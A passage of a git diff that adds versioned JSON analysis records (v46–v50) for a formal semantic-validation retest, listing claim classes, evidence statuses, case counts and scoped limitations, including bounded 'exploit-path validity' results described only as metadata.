their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "This source replay includes issue #1357 governed v2 admission, which is tested by its dedicated runtime suite; this retained formal corpus makes no additional crossing-authorization claim." + ], + "plain_language_outcome": "The retained formal semantic-validation corpus replays its existing obligations on the current implementation. Governed v2 decision admission is tested separately; this release adds no new authorization claim.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v46.json b/docs/research/formal-semantic-validation/analysis-v46.json new file mode 100644 index 000000000..6bf3734bc --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v46.json @@ -0,0 +1,155 @@ +{ + "analysis_id": "issue-1358-analysis-v46", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v46.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-1358-execution-v46", + "generated_at": "2026-09-24", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Issue #1358 final-egress denial is covered by runtime tests; this formal semantic corpus makes no new egress claim." + ], + "plain_language_outcome": "The retained controls replay with participant identity separated from organizational ownership and objective assignment. Historical evidence is preserved; the registered claim limits and unsupported classes are unchanged.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v47.json b/docs/research/formal-semantic-validation/analysis-v47.json new file mode 100644 index 000000000..3070ba000 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v47.json @@ -0,0 +1,156 @@ +{ + "analysis_id": "issue-1358-analysis-v47", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v47.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-1358-execution-v47", + "generated_at": "2026-09-25", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Issue #1358 final-egress denial is covered by runtime tests; this formal semantic corpus makes no new egress claim.", + "Merged governed v2 decision admission is covered by dedicated runtime tests; this retained formal corpus makes no additional crossing-authority claim." + ], + "plain_language_outcome": "The retained controls replay with participant identity separated from organizational ownership and objective assignment. Historical evidence is preserved; the registered claim limits and unsupported classes are unchanged.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v48.json b/docs/research/formal-semantic-validation/analysis-v48.json new file mode 100644 index 000000000..282302c18 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v48.json @@ -0,0 +1,154 @@ +{ + "analysis_id": "issue-1360-analysis-v48", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v48.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-1360-execution-v48", + "generated_at": "2026-09-25", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "plain_language_outcome": "The retained controls replay against the backend operation contract publication. The original claim limits and unsupported classes remain unchanged; this offline corpus does not establish live backend supervision or recovery.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v49.json b/docs/research/formal-semantic-validation/analysis-v49.json new file mode 100644 index 000000000..8425f9612 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v49.json @@ -0,0 +1,154 @@ +{ + "analysis_id": "issue-1360-analysis-v49", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v49.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "4.0.0", + "evidence_status": "partial", + "execution_id": "issue-1360-execution-v49", + "generated_at": "2026-09-25", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Evidence-requirement refinement lineage is outside this retained formal claim set; this retest refreshes integrated source provenance without promoting that feature to a formal claim.", + "Authoring-adapter transport behavior is outside this retained formal claim set.", + "Operational recovery observation and startup reconciliation are verified by their API-404 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Single-owner store admission, immutable target/run scope, and provider shutdown ordering are verified by their API-404 CP-5 regression suite, not promoted to a formal claim by this retained corpus.", + "Mixed and staged trial admission is verified by its SEM-234/SCE-002/API-407 regression suite, not promoted to a new formal claim class by this retained corpus.", + "Offline control-plane maintenance, readiness, and bounded audit behavior are verified by issue #1186 runtime tests, not promoted to a formal claim by this retained corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 profile declarations and capability admission are covered by dedicated runtime tests; the retained formal corpus does not execute control-plane profile composition.", + "Issue #1016 mixed-runtime coordination is covered by dedicated runtime tests; the retained formal corpus does not establish backend-native mixed realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "plain_language_outcome": "The retained controls replay against the backend operation contract publication. The original claim limits and unsupported classes remain unchanged; this offline corpus does not establish live backend supervision or recovery.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v50.json b/docs/research/formal-semantic-validation/analysis-v50.json new file mode 100644 index 000000000..543dffe6c --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v50.json @@ -0,0 +1,154 @@ +{ + "analysis_id": "issue-1360-analysis-v50", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "docs/research/formal-semantic-validation/execution-snapshot-v50.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], 